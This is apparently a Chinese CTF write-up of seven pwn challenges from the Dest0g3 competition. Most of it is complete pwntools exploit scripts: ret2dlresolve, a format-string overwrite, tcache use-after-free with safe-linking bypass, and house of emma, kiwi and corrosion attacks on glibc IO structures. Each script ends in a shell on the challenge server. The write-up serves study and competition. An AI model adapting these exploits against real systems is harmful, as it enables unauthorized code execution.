0%

Dest0g3-pwn

Dest0g3 pwn

算是比较简单的比赛,毕竟我都都做出来这么多题,所有的题目漏洞都是裸的,所以难点都在如何利用漏洞身上,其中后面三道堆题都是攻击io结构,确实有点恶心。

image-20220527125626074

image-20220527125647780

PWN2

一道简单的栈溢出,但是我没有找见libc的版本,加上开了延迟绑定,心一横直接拿ret2dl做了,下面简单总结一下ret2dl攻击。

主要结构体如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//dynamic段
typedef struct {
Elf32_Sword d_tag;
union {
Elf32_Word d_val;
Elf32_Addr d_ptr;
} d_un;
} Elf32_Dyn;
extern Elf32_Dyn_DYNAMIC[];

//rel.plt
typedef struct {
Elf32_Addr r_offset;
Elf32_Word r_info;
} Elf32_Rel;


//dynsym
typedef struct
{
Elf32_Word st_name; //符号名,是相对.dynstr起始的偏移
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info; //对于导入函数符号而言,它是0x12
unsigned char st_other;
Elf32_Section st_shndx;
}Elf32_Sym; //对于导入函数符号而言,其他字段都是0

主要流程如下,_dl_runtime_resolve函数通过reloc_arg寻址到这个函数对应的重定位表(ret.plt),这个寻址是偏移寻址,然后通过重定位表的r_info寻址到对应的dynsym符号重定位表,这个寻址是下标寻址,要注意结构体的大小,然后通过结构体的st_name寻址到对应的dynstr,这个寻址是偏移寻址,找到的就是函数的字符串,然后根据这个字符串返回对应函数地址。

image-20220527131543243

攻击的方法就是自己构造完整的一套ret.plt,dynsym,dynstr,然后构造reloc_arg,让其指向自己伪造的ret.plt就好了。

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import *
context.log_level='debug'
sh=remote("node4.buuoj.cn",29767)
#sh=process("./pwn")
elf =ELF("./pwn")
pop_rbx=0x08049022
puts_plt=elf.plt["puts"]
puts_got=elf.got["setbuf"]
hackme_addr=0x08049216
pop_rbp=0x080494e3
lea_ret=0x08049185
_dl_runtime_resolve=0x8049030
scanf_plt=elf.plt["__isoc99_scanf"]
rel_plt=0x080483fc
dynstr=0x08048308
dynsym=0x08048248
def add_num(num):
sh.recvuntil("input your choice:\n")
sh.sendline('1')
sh.recvuntil("input num")
sh.sendline(str(num))

def get_num():
sh.recvuntil("input your choice:\n")
sh.sendline('2')

def get_avg():
sh.recvuntil("input your choice:\n")
sh.sendline('3')

#gdb.attach(sh,'b *{0}'.format(0x08049407))
def exp():
sh.recvuntil("input the length of array:")
sh.sendline('-1')
for i in range(10):
add_num(0)
add_num(-1)
add_num(0)
add_num(0xd)
for i in range(3):
add_num(0)
add_num(0x804ca00)
add_num(scanf_plt)
add_num(lea_ret)
add_num(0x0804A023)
add_num(0x804ca00+4)
sh.sendline(str(hackme_addr))
sh.sendline(str(hackme_addr))


sh.recvuntil("input the length of array:")
sh.sendline('-1')
for i in range(10):
add_num(1)
add_num(-1)
add_num(0)
add_num(0xd)
for i in range(3):
add_num(0)
add_num(0x804c2b0)
reloc_arg=0x4620
add_num(_dl_runtime_resolve)#0x804ca08
add_num(reloc_arg)#0x804ca0c
add_num(hackme_addr)#0x804ca10
add_num(0x804ca48)#0x804ca14 /bin/sh_addr
add_num(1)#0x804ca18
#fake_Elf32_Rel
add_num(elf.got["printf"])#0x804ca1c
fake_r_info=(0x47e<<8)|0x7
add_num(fake_r_info)#0x804ca20

add_num(1)#0x804ca24
#fake_Elf32_Sym
fake_st_name=0x4734#0x804ca28
add_num(fake_st_name)#0x804ca2c
add_num(0)
add_num(0)
add_num(0x12)
add_num(1)
add_num(0x74737973)#0x804ca3c
add_num(0x6d65)#0x804ca40
add_num(1)#0x804ca44
add_num(0x6e69622f)#0x804ca48
add_num(0x68732f)
sh.recvuntil("input your choice:\n")
sh.sendline('5')
sh.interactive()
exp()

其实没必要这么麻烦的,直接拿ret2libc打就好了

pwn3

格式化字符串漏洞,我直接改返回地址为ogg拿shell了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
context.log_level='debug'
#sh=process(['/home/rootzhang/glibc-all-in-one/libs/2.33-0ubuntu5_amd64/ld-2.33.so', './pwn'], env={"LD_PRELOAD":'/home/rootzhang/glibc-all-in-one/libs/2.33-0ubuntu5_amd64/libc-2.33.so'})
#libc = ELF('/home/rootzhang/glibc-all-in-one/libs/2.33-0ubuntu5_amd64/libc-2.33.so')
sh=remote("node4.buuoj.cn",25438)
#sh=process("./pwn")
'''
0xde78c execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL

0xde78f execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL

0xde792 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL

'''

def printf(content):
sh.recvuntil("est0g3?\n",timeout=100000)
#sleep(10)
sh.send(content.ljust(0x40,'a'))

#gdb.attach(sh,"b *(0x555555554000+{0})".format(0x1210))
#gdb.attach(sh,'b printf')
def exp():
pay='%10$p %9$p'
#pay='%10$p %9$p %10$hhn'
printf(pay)

m=sh.recv(29)
print m
fmt_stack1=int(m[0:14],16)
print hex(fmt_stack1)
fmt_stack3=fmt_stack1-0xf0

libc_addr=int(m[15:],16)-0x28565
print hex(libc_addr)

pay='%'+str(fmt_stack3&0xffff)+'c%10$hn\x00'
printf(pay)

ogg_addr=0xde78f+libc_addr
pay='%'+str(0x8f)+'c%39$hhn\x00'
printf(pay)

pay='%'+str((fmt_stack3&0xff)+1)+'c%10$hhn\x00'
printf(pay)

pay='%'+str((ogg_addr&0xffff00)>>8)+'c%39$hn\x00'
printf(pay)

printf('111111111111111111')
sh.interactive()

exp()

pwn4

高版本的uaf,注意tcache的fd的异或操作就好。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
sh=remote("node4.buuoj.cn",27314)
#sh=process("./pwn")
context.log_level='debug'
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def new(size,content):
sh.recvuntil("4. show\n: ")
sh.sendline('1')
sh.recvuntil("Please tell me its size: ")
sh.sendline(str(size))
sh.recvuntil("Content: ")
sh.send(content)

def free(idx):
sh.recvuntil("4. show\n: ")
sh.sendline("3")
sh.recvuntil("Please tell me the index: ")
sh.sendline(str(idx))

def show(idx):
sh.recvuntil("4. show\n: ")
sh.sendline("4")
sh.recvuntil("Please tell me the index: \n")
sh.sendline(str(idx))

def edit(idx,content):
sh.recvuntil("4. show\n: ")
sh.sendline("2")
sh.recvuntil("Please tell me the index: ")
sh.sendline(str(idx))
sh.recvuntil("Please tell me its content: ")
sh.send(content)


def exp():
new(0x7f,'a')
new(0x40,'a')
new(0x40,'a')
new(0x50,'/bin/sh')
for i in range(7):
free(0)
edit(0,p64(0)*2+'\n')
free(0)
show(0)
libc_addr=u64(sh.recv(6).ljust(8,'\x00'))-0x1e0c00
free(2)
show(2)
heap_addr2=((u64(sh.recv(8))<<12) & 0xffffffffffffffff)+0x380
free(1)
show(1)
free_hook=libc.sym["__free_hook"]+libc_addr
heap_addr1=(((u64(sh.recv(8))^heap_addr2)<<12)&0xffffffffffffffff)+0x330
next=((heap_addr1>>12)&0xffffffffffffffff)^free_hook
edit(1,p64(next)+'\n')
new(0x40,'a')
system_addr=libc.sym["system"]+libc_addr
new(0x40,p64(system_addr))
free(3)
# gdb.attach(sh)
sh.interactive()

exp()

pwn5

题目直接说了是emma,那就拿emma打吧,emma一共有两种打法,一种是fsop,刷新io链,所以可以伪造两个有emma调用链的io结构,一个结构改key,然后让下一个io结构拿shell,另一种是控制stderr结构体,构造emma的调用链,然后修改topchunk的size申请堆块报错进入这个函数,在这个函数的__fxprintf中就会触发emma的调用链了

1
2
3
4
5
6
7
8
9
10
11
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}

这道题使用的是后一种方法,流程如下,不过这道题倒是不用setcontext,直接system拿shell

image-20220527133817903

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from pwn import *
#sh=process("./pwn")
sh=remote("node4.buuoj.cn",28733)
context.log_level='debug'
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def add(idx,size,content):
sh.recvuntil(">>\n")
sh.sendline("1")
sh.recvuntil("Index: \n")
sh.sendline(str(idx))
sh.recvuntil("Size: \n")
sh.sendline(str(size))
sh.recvuntil("Content\n")
sh.send(content)

def edit(idx,content):
sh.recvuntil(">>\n")
sh.sendline("2")
sh.recvuntil("Index: \n")
sh.sendline(str(idx))
sh.recvuntil("Content\n")
sh.send(content)

def show(idx):
sh.recvuntil(">>\n")
sh.sendline("3")
sh.recvuntil("Index: \n")
sh.sendline(str(idx))


def free(idx):
sh.recvuntil(">>\n")
sh.sendline("4")
sh.recvuntil("Index: \n")
sh.sendline(str(idx))

def ROL(content, key):
tmp = bin(content)[2:].rjust(64, '0')
return int(tmp[key:] + tmp[:key], 2)

def exp():
add(-4,0x420,'a')
add(0,0x460,'a')
add(4,0x450,'a')
add(1,0x450,'a')
free(0)
add(2,0x600,'a')
edit(0,'a')
show(0)
libc_addr=u64(sh.recv(6).ljust(8,'\x00'))-0x61-0x1e1000
edit(0,'\x00')
free(1)
add(3,0x600,'a')
show(0)
heap_addr=u64(sh.recv(6).ljust(8,'\x00'))-0xf90
add(1,0x450,'a')
edit(0,p64(libc_addr+0x1e1000)*2+p64(0)+p64(libc_addr+0x1ed5b0-0x20))
free(1)
add(5,0x600,'a')
add(6,0xa00,'a')
free(6)
add(7,0x500,'a')
edit(6,'a'*0x500+p64(0)+p64(0xce))
fake_IO_FILE=p64(0x00000000fbad2087)
system_addr=libc_addr+libc.sym["system"]
fake_IO_FILE+=p64(heap_addr+0x2100)*8
fake_IO_FILE = fake_IO_FILE.ljust(0x68, '\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88, '\x00')
fake_IO_FILE += p64(heap_addr) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, '\x00')
fake_IO_FILE += p64(0) # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, '\x00')
fake_IO_FILE += p64(0x1e1a20+libc_addr + 0x40) # vtable
fake_IO_FILE += p64(heap_addr+0xb30+0x10) # rdi
fake_IO_FILE += p64(0)
# pay=system_addr^(heap_addr+0xf90)
# pay1=pay&0x7ff
# pay2=pay&
fake_IO_FILE += p64(ROL(system_addr ^ (heap_addr + 0xf90), 0x11))
fake_IO_FILE+=p64(0)
edit(4,'/bin/sh\x00')
edit(-4,fake_IO_FILE)
#fake_IO_FILE += p64(ROL(gadget_addr ^ (heap_base + 0x22a0), 0x11))
print hex(system_addr ^ (heap_addr + 0xf90))
#gdb.attach(sh)
sh.recvuntil(">>\n")
sh.sendline("1")
sh.recvuntil("Index: \n")
sh.sendline(str(8))
sh.recvuntil("Size: \n")
sh.sendline(str(0x600))
sh.interactive()

exp()

pwn6

house of kiwi,网上讲的非常清楚,就不说攻击流程了,这道题最主要的问题是限制共享库的位置,然后没有符号表调试的时候很难受,mark给了符号表和调试脚本才能进行动调.脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
from pwn import *
sh=process(['./ld-2.31.so', './pwn'], env={"LD_LIBRARY_PATH":'./libc-so.6'})
#sh=remote("node4.buuoj.cn",26914)
context.log_level='debug'
libc=ELF("./libc.so.6")

def debug():
load1="source ./loadsym.py\n"
load2="loadsym '/home/ctf/getshell/des/pwn4/1/usr/lib/debug/lib/x86_64-linux-gnu/libc-2.31.so'\n"
gdb.attach(sh,load1+load2)
def init(content):
sh.recvuntil("Before the game starts, please give me your name:")
sh.send(content)

def add(size,idx,content):
sh.recvuntil("[4] edit note.\n>> ")
sh.sendline('1')
sh.recvuntil("How much do you want?\n")
sh.sendline(str(size))
sh.recvuntil("Which one do you want to put?\n")
sh.sendline(str(idx))
sh.recvuntil("Tell me your idea:\n")
sh.send(content)

def free(idx):
sh.recvuntil("[4] edit note.\n>> ")
sh.sendline('2')
sh.recvuntil("Which one do you want to remove?\n")
sh.sendline(str(idx))

def show(idx):
sh.recvuntil("[4] edit note.\n>> ")
sh.sendline('3')
sh.recvuntil("Which one do you want to look?\n")
sh.sendline(str(idx))

def edit(idx,content):
sh.recvuntil("[4] edit note.\n>> ")
sh.sendline('4')
sh.recvuntil("Which one do you want to change?\n")
sh.sendline(str(idx))
sh.recvuntil("Change your idea:\n")
sh.send(content)

def exp():
init('zhangpeng')
add(0x48,0,'a'*0x48)
add(0x50,1,'a')
add(0x50,2,'a')
for i in range(3,10):
add(0xb0,i,'a')
for i in range(3,10):
free(i)
edit(0,'a'*0x48+p8(0xc1))
free(1)
add(0x50,1,'a')
show(2)
sh.recvuntil("content: ")
libc_addr=u64(sh.recv(6).ljust(8,'\x00'))-0x1ebbe0
print hex(libc_addr)
_IO_file_jumps_addr=libc.sym["_IO_file_jumps"]+libc_addr
#IO_helper_jumps_addr=libc.sym["_IO_helper_jumps"]+libc_addr
_IO_helper_jumps_addr=libc_addr+0x1ec960-0xc0
add(0x20,3,'a')
add(0x20,4,'a')
free(4)
free(3)
setcontent_addr=libc_addr+libc.sym['setcontext'] + 61
edit(2,p64(_IO_file_jumps_addr+0x60)+p64(0)+'\n')
add(0x20,3,'a')
add(0x20,4,p64(setcontent_addr))
add(0x20,5,'a')
free(5)
free(3)

show(2)
sh.recvuntil("content: ")
heap_addr=u64(sh.recv(6).ljust(8,'\x00'))-0x920
edit(2,p64(_IO_helper_jumps_addr+0xa0)+p64(0)+'\n')
add(0x20,3,'a')
add(0x20,5,p64(heap_addr+0xa00))
ret_addr=libc_addr+0x0000000000025679
add(0x20,6,'a')
free(6)
free(3)
edit(2,p64(_IO_helper_jumps_addr+0Xa8)+p64(0)+'\n')
add(0x20,3,'a')
add(0x20,6,p64(ret_addr))
free(0)
free(1)
free(3)
add(0x78,0,'a'*0x78)
add(0x70,1,'a')
add(0x30,3,'a')
edit(0,"a"*0x78+p8(0xc1)+'\n')
free(1)
pop_rax=libc_addr+0x000000000004a550
pop_rdi=libc_addr+0x0000000000026b72
pop_rsi=libc_addr+0x0000000000027529
pop_rdx_r12=libc_addr+0x000000000011c371
syscall_addr=libc_addr+0x000000000002584d
rop=p64(pop_rax)+p64(59)
rop+=p64(pop_rdi)+p64(heap_addr+0xa60)
rop+=p64(pop_rsi)+p64(0)
rop+=p64(pop_rdx_r12)+p64(0)*2
rop+=p64(syscall_addr)
rop=rop.ljust(0x60,'\x00')
rop+='/bin/sh\x00'
add(0x80,1,rop)
edit(3,p64(0)+p64(0xce)+'\n')
debug()
sh.recvuntil("[4] edit note.\n>> ")
sh.sendline('1')
sh.recvuntil("How much do you want?\n")
sh.sendline(str(0xe0))
sh.recvuntil("Which one do you want to put?\n")
sh.sendline(str(7))
sh.interactive()
exp()

pwn7

算是比较有意思的一道题,也是看的最久的一道题,可以通过mmap伪造堆块free放到bin上,由于使用的是calloc,所以无法简单的使用tcache完成攻击,能使用的只有largebinattack没法整,后来经过提示发现可以使用House of Corrosion完成一定范围的任意写,这就好办多了,控制stderr的vtable指向_IO_helper_jumps,然后修改 _IO_helper_jumps偏移为0x60的函数指针为system,然后把stderr的前八个字节改成字符串/bin/sh,然后控制topchunk到mmap的空间,修改size申请堆块触发__malloc_assert函数。

1
2
3
4
5
6
7
8
9
10
11
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}

在fflush中就会调用stderr中vtable的偏移为0x60函数指针,此时rdi指向stderr结构体,也就是字符串/bin/sh的地址,偏移为0x60函数指针也是system,此时就getshell了。

脚本比较乱,其中好多没用,所以看起来这么多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
from pwn import *
context.log_level='debug'
#sh=process("./pwn")
sh=remote("node4.buuoj.cn",26218)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")


def add(size):
sh.recvuntil("5. exit\n>> ")
sh.sendline("1")
sh.recvuntil("size: ")
sh.sendline(str(size))

def edit(offset,size,content):
sh.recvuntil("5. exit\n>> ")
sh.sendline("2")
sh.recvuntil("size: ")
sh.sendline(str(size))
sh.recvuntil("offset: ")
sh.sendline(str(offset))
sh.recvuntil("content: ")
sh.send(content)

def free(idx):
sh.recvuntil("5. exit\n>> ")
sh.sendline("3")
sh.recvuntil("idx: ")
sh.sendline(str(idx))

def show():
sh.recvuntil("5. exit\n>> ")
sh.sendline("4")
sh.recvuntil("content: ")

def exp():
add(0x430)
pay=p64(0)+p64(0x21)
pay+=p64(0)*2
pay+=p64(0)+p64(0x431)
pay+=p64(0)*132
pay+=p64(0)+p64(0x21)
pay+=p64(0)*2
pay+=p64(0)+p64(0x21)
pay+=p64(0)*2
pay+=p64(0)+p64(0x21)
pay+=p64(0)*2
# pay+=p64(0)+p64(0x2b61)
edit(0,len(pay),pay)
free(0x30)
add(0x420)
free(0x30)
edit(0x30,1,'a')
show()
libc_addr=u64(sh.recv(6).ljust(8,'\x00'))-0x61-0x1e0c00
stderr_addr=0x1e15e0+libc_addr
stderr_chain=stderr_addr+0x68
edit(0x30,1,'\x00')
pay=p64(0)+p64(0x21)
pay+=p64(0)*2
pay+=p64(0)+p64(0x421)
pay+=p64(0)*130
pay+=p64(0)+p64(0x21)
pay+=p64(0)*2
pay+=p64(0)+p64(0x21)
pay+=p64(0)*2
edit(0x800,len(pay),pay)
free(0x830)
edit(0x30,0x8,'a'*8)
show()
sh.recvuntil("aaaaaaaa")
mem_addr=u64(sh.recv(5).ljust(8,'\x00'))-0x820
edit(0x30,8,p64(libc_addr+0x1e0c00))
add(0x410)
add(0x500)
edit(0x30,0x20,p64(libc_addr+0x1e1000)*2+p64(0)+p64(libc_addr+0x1ed5b0-0x20))
edit(0x800,len(pay),pay)
free(0x830)
add(0x500)
edit(0x30,0x20,p64(mem_addr+0x820)+p64(libc_addr+0x1e0ff0)+p64(mem_addr+0x820)*2)
edit(0x830,0x20,p64(libc_addr+0x1e0ff0)+p64(mem_addr+0x20)*3)
add(0x410)
fake_io_1=p64(0)*4+p64(0)
fake_io_1+=p64(mem_addr+0x1a00)+p64(0)
fake_io_1+=p64(mem_addr+0x1e00)+p64(mem_addr+0x1e00+22)
fake_io_1+=p64(0)*4+p64(mem_addr+0x920)
fake_io_1+=p64(0)*13+p64(0x1e2560+libc_addr)
edit(0x820,len(fake_io_1),fake_io_1)

fake_io_2=p64(0)*4+p64(0)
fake_io_2+=p64(mem_addr+0x1a00)+p64(0)
fake_io_2+=p64(mem_addr+0x1e00)+p64(mem_addr+0x1e00+22)
fake_io_2+=p64(0)*4+p64(0)
fake_io_2+=p64(0)*13+p64(0x1e2560+libc_addr)
edit(0x920,len(fake_io_2),fake_io_2)

pay=p64(0)+p64(0x21)
pay+=p64(0)*2
pay+=p64(0)+p64(0xa0)
pay+=p64(0)*18
pay+=p64(0)+p64(0x21)
pay+=p64(0)*2
pay+=p64(0)+p64(0x21)
pay+=p64(0)*2
edit(0x1000,len(pay),pay)
free(0x1030)
edit(0x1030,0x10,p64(0)*2)
free(0x1030)
free_hook=libc_addr+libc.sym["__free_hook"]
next=((mem_addr+0x1030>>12)&0xffffffffffffffff)^(free_hook-0x10)
edit(0x1030,0x8,p64(next))
pay='/bin/sh\x00'+p64(0)+p64(libc_addr+libc.sym["system"])
edit(0x1e00,0x18,pay)
free(0x460)
add(0x420)
pay='a'*0x420+'a'*(0x18-1)+'A'
edit(0x30,len(pay),pay)
show()
sh.recvuntil("aA")
heap_aadr=u64(sh.recv(6).ljust(8,'\x00'))-0x10
pay='a'*0x420+p64(0)+p64(0x21)
edit(0x30,len(pay),pay)
free(0x30)
add(0x500)


pay=p64(0)+p64(0x21)
pay+=p64(0)*2
pay+=p64(0)+p64(0x421)
pay+=p64(0)*130
pay+=p64(0)+p64(0x21)
pay+=p64(0)*2
pay+=p64(0)+p64(0x21)
pay+=p64(0)*2
edit(0x1200,len(pay),pay)
free(0x1230)
edit(0x30,0x20,p64(libc_addr+0x1e0ff0)*2+p64(0)+p64(libc_addr+0x1e3e78-0x20-3))
add(0x500)


pay=p64(0)+p64(0x21)
pay+=p64(0)*2
pay+=p64(0)+p64(0x1631)
edit(0x1000,len(pay),pay)

pay='\x00'*0x651
pay+=p64(0)+p64(0x21)
pay+=p64(0)*2
pay+=p64(0)+p64(0x21)
pay+=p64(0)*2
edit(0x1fff,len(pay),pay)
free(0x1030)

pay=(((mem_addr+0x1030)>>12)&0xffffffffffffffff)^(0x1e1960+libc_addr)
edit(0x1030,0x10,p64(pay)+p64(0))
add(0x1620)



pay=p64(0)+p64(0x21)
pay+=p64(0)*2
pay+=p64(0)+p64(0x1c41)
edit(0x1000,len(pay),pay)

pay='\x00'*0xc61
pay+=p64(0)+p64(0x21)
pay+=p64(0)*2
pay+=p64(0)+p64(0x21)
pay+=p64(0)*2
edit(0x1fff,len(pay),pay)
free(0x1030)

pay=(((mem_addr+0x1030)>>12)&0xffffffffffffffff)^(libc_addr+libc.sym["system"])
edit(0x1030,0x10,p64(pay)+p64(0))
add(0x1c30)


pay=p64(0)+p64(0x21)
pay+=p64(0)*2
pay+=p64(0)+p64(0x1481)
edit(0x1000,len(pay),pay)

pay='\x00'*0x4a1
pay+=p64(0)+p64(0x21)
pay+=p64(0)*2
pay+=p64(0)+p64(0x21)
pay+=p64(0)*2
edit(0x1fff,len(pay),pay)
free(0x1030)
pay=(((mem_addr+0x1030)>>12)&0xffffffffffffffff)^0x0068732f6e69622f
edit(0x1030,0x10,p64(pay)+p64(0))
add(0x1470)

edit(0x30,0x20,p64(mem_addr+0x1220)+p64(libc_addr+0x1e0ff0)+p64(mem_addr+0x1220)*2)

edit(0x1220,0x30,p64(0)+p64(0x421)+p64(libc_addr+0x1e0ff0)+p64(mem_addr+0x20)*3)
pay=p64(0)+p64(0x21)
pay+=p64(0)*2
pay+=p64(0)+p64(0xc1)
pay+=p64(0)*22
pay+=p64(0)+p64(0x21)
pay+=p64(0)*2
pay+=p64(0)+p64(0x21)
pay+=p64(0)*2
edit(0x1800,len(pay),pay)
for i in range(7):
free(0x1830)
edit(0x1830,0x10,'\x00'*0x10)
free(0x1830)
edit(0x1820,0x10,p64(0)+p64(0xce))
add(0xffff)
sh.interactive()

exp()